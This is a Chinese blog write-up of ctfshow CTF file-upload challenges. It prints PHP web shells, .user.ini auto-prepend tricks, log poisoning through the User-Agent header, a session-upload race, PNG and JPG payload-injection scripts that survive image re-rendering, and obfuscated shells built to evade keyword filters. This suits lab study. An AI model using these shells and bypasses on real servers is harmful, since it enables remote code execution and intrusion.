您好,登錄后才能下訂單哦!
今天就跟大家聊聊有關php中如何進行ctfshow文件上傳,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。
直接抓包修改后綴。
直接抓包修改后綴。
https://www.php.net/manual/en/ini.list.php
使用條件:
(1)服務器腳本語言為PHP 服務器使用CGI/FastCGI模式
(2)上傳目錄下要有可執行的php文件
使用方式:
上傳一張圖片馬
上傳 .user.ini
auto_prepend_file=ma.png
訪問.user.ini
同級目錄中的一個php文件。
本題目中有 /upload/index.php
,所以可以操作。
題目配置可以從http相應包得到。nginx/1.18.0 (Ubuntu)
上來測試發現是黑名單過濾的。
我們還可以上傳 .user.ini
,并且upload/index.php
真好存在。
那么我們上傳一張圖片馬,
發現被攔截了。
文件上傳失敗,失敗原因:文件內容不合規
猜測可能是攔截了 php 字符串。那么我們刪掉他試試,果然上傳成功。
那么我們呢繞過就可以了。
<? echo '123';?> # 不可 <?=eval($_POST['a']);?> <script language="php">eval($_POST['a']);</script> # 不可用
測試正常的 png 圖片可以上傳。
對圖片內容過濾php
繞過 <?=eval($_POST['a']);
步驟跟上關一樣。。。。。
測試,又是文件內容過濾了 php
.
緊接著發現事情沒這么簡單,還過濾了[
,這給傳參造成了一定的困難。
但是我們可以直接
<?=system('cat ../flag.???'); <?=eval($_POST{'a'}); # 用 {} 代替 []
nginx/1.18.0 (Ubuntu) PHP/5.6.40
文件名黑名單
經測試,對文件內容過濾了 php
、[
、{
、 ;
上傳.user.ini
我們知道 php 最后的語句也可以不加分號的,前提是得有 ?>
結束標志。
上傳 2.png
<?=system('ls ../')?> <?=system('cat ../*')?>
訪問upload/index.php
和web157解法相同。
經測試,對文件內容過濾了 php
、[
、{
、 ;
、 (
問題不大,不能用函數了。
那我們用反引號代替system()
<?=`cat ../*`?>
經測試,對文件內容過濾了 php
、[
、{
、 ;
、 (
、 反引號 、空格。
好家伙。包含日志文件,但發現 log
也被過濾了。那就進行拼接。
上傳.user.ini
后,在上傳 ma.png
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
看到頁面回顯,確實包含了。
想著直接瀏覽器訪問 url 路徑帶上一句話,但是卻被編碼了 %3C?php%20eval($_POST[1]);?%3E
還是再UA出比較好。
修改UA User-Agent: <?php eval($_POST[1]);?>
然后成功getshell.
發現只有文件內容異常的圖片已經上傳不上去了。猜測應該是對文件頭進行了檢測。
上傳 GIF89a
成功繞過,但是這里文件內容測試只有兩個字符的時候還不能上傳。。。。。所以多放點字符。
其余操作和上官相同。
測試,這關也檢測了文件頭,但是同時過濾掉了 點 .
我們可以看到這樣繞過
.user.ini :
GIF89a auto_prepend_file=ma
但上傳ma
文件,同樣不能包含日志文件。這時候就需要包含session文件了。
這里還過濾了flag
上傳 ma
GIF89a <?=include"/tmp/sess_fllag"?>
那么我們就開始構造,session文件競爭包含。
構造
<!DOCTYPE html> <html> <body> <form action="http://58b10a1f-08e0-4689-8b64-2e8641d2948b.chall.ctf.show/" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html>
一直上傳,內容為寫后門到 a.php
然后一直包含session文件。
可以看到成功包含,那么此時我們去upload/a.php
,成功訪問,并測試后門成功寫入。
可以參考文件包含篇:
還有 利用session.upload_progress進行文件包含
過濾還是前面的過濾。
操作和上關一樣的。
這里有upload/index.php
,所以我們其實可以直接利用此文件包含Session文件。
上傳.user.ini
:
GIF89a auto_prepend_file=/tmp/sess_fllag
然后就開始session文件競爭上傳和包含。
成功。
這是題目源碼:
<?php error_reporting(0); if ($_FILES["file"]["error"] > 0) { $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]); } else { $filename = $_FILES["file"]["name"]; $filesize = ($_FILES["file"]["size"] / 1024); if($filesize>1024){ $ret = array("code"=>1,"msg"=>"文件超過1024KB"); }else{ if($_FILES['file']['type'] == 'image/png'){ $arr = pathinfo($filename); $ext_suffix = $arr['extension']; if($ext_suffix!='php'){ $content = file_get_contents($_FILES["file"]["tmp_name"]); if(stripos($content, "php")===FALSE && check($content) && getimagesize($_FILES["file"]["tmp_name"])){ move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$_FILES["file"]["name"]); $ret = array("code"=>0,"msg"=>"upload/".$_FILES["file"]["name"]); }else{ $ret = array("code"=>2,"msg"=>"文件類型不合規"); } }else{ $ret = array("code"=>2,"msg"=>"文件類型不合規"); } }else{ $ret = array("code"=>2,"msg"=>"文件類型不合規"); } } } function check($str){ return !preg_match('/php|\{|\[|\;|log|\(| |\`|flag|\./i', $str); } function clearUpload(){ system("mv ./upload/index.php ./index.php_"); system("rm -rf ./upload/*"); system("mv ./index.php_ ./upload/index.php"); } sleep(2); clearUpload(); echo json_encode($ret);
測試了一下。
{"code":3,"msg":"只允許上傳png格式圖片"}
白名單驗證。
找了一張測試可以成功上傳png圖片。
還發現
download.php?image=4a47a0db6e60853dedfcfdf08a5ca249.png
可以隨意修改圖片又會被檢測,故做圖片馬。
但是一般的圖片馬還繞不過,應該是做了二次渲染。
所以可以上傳二次渲染繞過的圖片,在做文件包含即可。
生成腳本:
<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); /* <?$_GET[0]($_POST[1]);?> */ $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); ?>
測試只能上傳 jpg.
{"code":3,"msg":"只允許上傳jpg格式圖片"}
也是二次渲染,當我們寫后門進圖片是,后臺會自動檢測并刪除數據。
那么就用到 jpg二次渲染繞過了。
拿腳本
<?php /* The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image. 1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: jpg_payload.php <jpg_name.jpg>In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */ $miniPayload = "<?=eval(\$_POST[1]);?>"; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>
先上傳一張圖片,然后下載下來,然后利用腳本生成。
php jpg_payload.php <jpg_name.jpg>
再繼續上傳,
發現這張圖片不行,再來一張。
成功。
需要注意的是,有一些jpg圖片不能被處理,所以要多嘗試一些jpg圖片.
嘗試多次,發現zip 文件可上傳。
但是上傳直接編輯后門一句話的壓縮包。
但這只是前端限制。
可以看到,只允許jpg上傳。
抓包測試了一下,是黑名單。
開局有個提示httpd
測試apache解析漏洞沒解析。
測試.htaccess
成功。
<FilesMatch "1.jpg"> SetHandler application/x-httpd-php </FilesMatch>
然后上傳帶有馬的 1.jpg
即可。
但是這里瀏覽器響應回來的是 nginx呀,坑。
基礎免殺
測試,會檢測_GET
、_POST
。
可抓包后修改直接上傳php文件。
反引號達到命令執行的效果。
<?php $_=`whoami`; echo $_; // <?= `whoami`?>
把源碼拔下來
<?php /* # -*- coding: utf-8 -*- # @Author: h2xa # @Date: 2020-10-24 19:34:52 # @Last Modified by: h2xa # @Last Modified time: 2020-10-30 00:11:17 # @email: h2xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); if ($_FILES["file"]["error"] > 0) { $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]); } else { $filename = $_FILES["file"]["name"]; $filesize = ($_FILES["file"]["size"] / 1024); if($filesize>1024){ $ret = array("code"=>1,"msg"=>"文件超過1024KB"); }else{ if($_FILES['file']['type'] == 'image/png'){ $str = file_get_contents($_FILES["file"]["tmp_name"]); if(check($str)===0){ move_uploaded_file($_FILES["file"]["tmp_name"], './upload/'.$_FILES["file"]["name"]); $ret = array("code"=>0,"msg"=>$_FILES["file"]["name"]); } }else{ $ret = array("code"=>2,"msg"=>"文件類型不合規"); } } } function check($str){ return preg_match('/eval|assert|assert|_POST|_GET|_COOKIE|system|shell_exec|include|require/i', $str); } echo json_encode($ret);
本來還想著包含一波日志。
<?php $a='syste'.'m';($a)('ls ../');
<?php $a=$_REQUEST['a']; $b=$_REQUEST['b']; $a($b); ?>
<?php $pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos}); # get傳參 abs=system&acos=ls
這里
<?php $a = "s#y#s#t#e#m"; $b = explode("#",$a); $c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5]; $c($_REQUEST[1]); ?>
<?php $a=substr('1s',1).'ystem'; $a($_REQUEST[1]); ?>
<?php $a=strrev('metsys'); $a($_REQUEST[1]); ?>
測試發現
抓包需修改Content-Type: image/png
文件名后綴隨意。
看看文件內容過濾了啥 <> ? 等等。
只能進行 .user.ini
日志文件包含了。
思路: 上傳 .user.ini
auto_prepend_file=/var/log/nginx/access.log
然后隨便上傳個php文件即可。
然后改UA為一句話即可。
測試上傳zip,抓包修改,后綴為php
, MIME類型為image/png
.
包含.user.ini
日志文件/var/log/nginx/access.log
看完上述內容,你們對php中如何進行ctfshow文件上傳有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。